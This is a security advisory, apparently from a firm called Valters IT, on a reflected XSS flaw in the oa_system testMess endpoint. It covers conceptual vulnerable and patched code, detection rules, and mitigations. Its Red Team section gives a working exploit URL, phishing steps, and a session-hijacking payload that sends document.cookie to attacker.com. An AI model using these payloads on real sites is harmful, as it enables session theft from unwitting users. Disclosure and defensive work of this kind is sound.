CVE-2025-3389

Executive Summary

CVE-2025-3389 is a publicly disclosed, unpatched Cross-Site Scripting (XSS) vulnerability in the hailey888/oa_system backend application, specifically in the InformManageController.java file. The vulnerability exists in the testMess function, where the menu parameter is not properly sanitized, allowing an attacker to inject arbitrary JavaScript code. This attack can be initiated remotely without authentication, but requires user interaction (e.g., clicking a crafted link). The product does not use versioning, making it difficult to determine exact affected releases. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of a proof-of-concept (PoC) increases the risk for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a custom Java application. The lack of versioning and patch status means that any deployment of hailey888/oa_system up to 2025.01.01 is potentially vulnerable. Organizations using this software should treat it as a high-risk supply chain component and consider replacing it with a maintained alternative.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on system availability.

CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The public PoC increases the risk for targeted phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the testMess function within cn/gson/oasys/controller/inform/InformManageController.java. This function handles the menu parameter from HTTP requests. The application fails to sanitize or encode the input before reflecting it in the response. An attacker can craft a URL like:

http://target/oa_system/inform/testMess?menu=<script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in their browser context. The attack is classified as Reflected XSS because the malicious payload is immediately reflected in the server's response.

The root cause is the absence of output encoding or input validation for the menu parameter. The application likely uses a method like request.getParameter("menu") and directly writes it to the response without escaping HTML entities.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct reflection without sanitization
@RequestMapping("/testMess")
public String testMess(HttpServletRequest request, Model model) {
    String menu = request.getParameter("menu");
    model.addAttribute("menu", menu);
    return "inform/testMess";
}

Patched Code (Conceptual):

// Patched: HTML-encode the input before reflection
import org.springframework.web.util.HtmlUtils;

@RequestMapping("/testMess")
public String testMess(HttpServletRequest request, Model model) {
    String menu = request.getParameter("menu");
    String safeMenu = HtmlUtils.htmlEscape(menu);
    model.addAttribute("menu", safeMenu);
    return "inform/testMess";
}

The patch uses HtmlUtils.htmlEscape() to convert characters like <, >, ", ', and & into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of hailey888/oa_system (up to 2025.01.01).
• A web browser or tool like curl to send crafted requests.

Exploitation Steps:

1. Identify the vulnerable endpoint: /oa_system/inform/testMess.
2. Craft a malicious URL with a JavaScript payload in the menu parameter.
3. Send the URL to a victim via phishing email or social engineering.

Example Payload:

<script>alert('XSS');</script>

Full URL:

http://target/oa_system/inform/testMess?menu=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor web server logs for requests to /oa_system/inform/testMess with suspicious menu parameters containing <script> tags or encoded variants.
• Use WAF rules to block requests with HTML/JavaScript in the menu parameter.

Mitigation:

• Apply input validation: Reject any menu parameter containing <, >, or other HTML special characters.
• Apply output encoding: Use HtmlUtils.htmlEscape() or similar before reflecting user input.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

1. Deploy a vulnerable instance of hailey888/oa_system in an isolated environment.
2. Use a tool like Burp Suite to intercept and modify requests.
3. Test the vulnerability by sending the crafted URL and observing the alert box.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /oa_system/inform/testMess with menu parameter containing <script> tags.
  • Outbound connections from victim browser to attacker-controlled domains (for session hijacking).
• File IOCs:
  • Log entries showing menu=<script> in the request URI.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the context of the OA system.
  • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2025_3389_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-3389 in hailey888 oa_system"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3389"
    strings:
        $xss_payload = /menu=.*<script[^>]*>.*<\/script>/i
        $xss_encoded = /menu=.*%3Cscript[^>]*%3E.*%3C\/script%3E/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-3389 XSS Attempt on hailey888 oa_system
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects HTTP requests with XSS payloads in the menu parameter targeting the testMess endpoint.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3389
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - "/oa_system/inform/testMess"
            - "menu="
        cs-uri-query|re: 
            - "<script[^>]*>.*<\/script>"
            - "%3Cscript[^>]*%3E.*%3C\/script%3E"
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3389 XSS Attempt on hailey888 oa_system"; flow:to_server,established; content:"/oa_system/inform/testMess"; http_uri; pcre:"/menu=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, remove or disable the testMess endpoint until a patch is applied.
2. Input Validation: Implement strict validation on the menu parameter to reject any HTML or JavaScript content.
3. Output Encoding: Use HtmlUtils.htmlEscape() or equivalent to encode all user-supplied data before reflection.
4. WAF Rules: Deploy Web Application Firewall rules to block requests containing <script> tags in the menu parameter.
5. CSP Headers: Add Content-Security-Policy header with script-src 'self' to prevent inline script execution.
6. User Education: Train users to avoid clicking suspicious links, especially those containing the OA system URL.
7. Vendor Contact: Since the product is unmaintained, consider migrating to a supported alternative.

Valters IT